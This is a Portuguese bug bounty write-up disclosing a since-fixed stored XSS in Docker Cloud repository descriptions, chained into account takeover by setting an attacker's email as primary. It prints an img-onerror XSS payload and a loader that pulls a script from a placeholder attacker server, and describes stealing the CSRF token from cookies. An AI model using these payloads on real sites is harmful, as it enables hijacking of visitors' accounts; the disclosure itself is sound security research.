Bug Bounty 00 - Full Account Takeover Docker Cloud (My First CSRF)
Fala galera, neste post irei falar sobre uma vulnerabilidade que encontrei no Docker Cloud. Esta falha já foi corrigida e tive permissão de falar sobre ela citando o Vendor, então vamos lá :)
Bom, a vulnerabilidade que está no título foi o resultado final de uma cadeia (chain) de outras vulnerabilidades que encontrei inicialmente no domínio do Docker Cloud.
Enquanto navegava pelos repositórios do Docker Cloud, percebi que o usuário podia inserir uma breve e também uma completa descrição a respeito do projeto. Decidi inserir algumas tags na descrição completa só para teste mesmo (não esperava que realmente iria acontecer), comecei com o famoso <script>alert(document.domain);</script>
e para minha não surpresa, não ocorreu nada.
Decidi então inserir uma tag de imagem com um evento Javascript:
<img src="x" onerror="alert(document.domain)"/>
após salvar a descrição e atualizar, boooommm :)
Neste ponto, já havia um XSS Stored (Armazenado), pois qualquer usuário que visitasse o meu repositório com o código iria se deparar com o alert(document.domain) sendo executado.
Foi então que tive uma ideia de escalar ainda mais a vulnerabilidade, então fui procurar mais sobre e me deparei com o CSRF (Cross Site Request Forgery), que é um tipo de ataque onde você força o usuário a relizar ações forjadas (o usuário acha que está realizando uma ação, mas na verdade está realizando outra). Descobri que para isso eu teria que carregar um script externo, e como a tag script não estava disponível, foi necessário utilizar os eventos JS das tags HTML :)
Usei o seguinte payload:
<img src="x" onerror="var script = document.createElement('script'); script.src = 'IP_SERVIDOR/reset.js'; document.getElementsByTagName('head')[0].appendChild(script);"/>
que tem como objetivo inserir um novo atributo do tipo javascript no head do HTML da página que será carregado a partir do arquivo reset.js que no caso é o arquivo js que contém o código do exploit.
Para realizar as requisições, era necessário ter o XCSRF-Token do usuário e também que ele estivesse no domínio cloud.docker.com (pode ser acessado pelo domínio hub.docker.com também :) ), pois apenas ele tinha permissão de realizar as requisições para a api.
Estas requisições, são as responsáveis pela inserção do email do atacante na conta do usuário e pela definição deste email como primário (quando o usuário reseta a senha o link é enviado para o email primário), portanto o usuário pode ter vários emails, mas o link só será enviado para o endereço de email primário.
Então, primeiramente para ter acesso ao XCSRF-Token do usuário, foi necessário apenas obtê-lo pelo document.cookie (não estava com a flag httpOnly habilitada).
E para realizar as requisições, primeramente, no exploit verificava se a URL atual que o usuário estava acessando o repositório era cloud.docker.com, caso fosse positivo ele apenas realizaria as requisições, caso contrário ele redirecionava o usuário para o domínio permitido para realizar as requisições (cloud.docker.com).
Tendo tudo isso em mãos, era necessário apenas realizar as requisições para adicionar o email do atacante na conta do usuário e setar como email primário :)
Vale lembrar que o email que o atacante utilizaria não deveria estar cadastrado em nenhuma outra conta :)
Tendo efetuado com sucesso o ataque, o atacante teria acesso permanente à conta do usuário, pois mesmo que fosse enviado um link para resetar a senha, seria enviado para o email primário da conta (no caso o do atacante).
Então resumindo, foi utilizado um XSS Stored encadeado com um CSRF para ter acesso permanente à conta de qualquer usuário que acessasse o repositório malicioso :).
Abaixo, a PoC da vulnerabilidade:
Quero agradecer ao k33r0k por ter me ajudado a desenrolar a chain com as vulnerabilidades :)
Bom galera, espero que eu tenha passado de forma clara essa resolução da vulnerabilidade encontrada no docker, como já disse ela foi corrigida, já fui recompensado e também fui permitido de realizar o disclosure.
Irei trazer mais resoluções ao longo do tempo.
Antes que eu esqueça, o exploit pode ser encontrado no meu github: Exploit CSRF Docker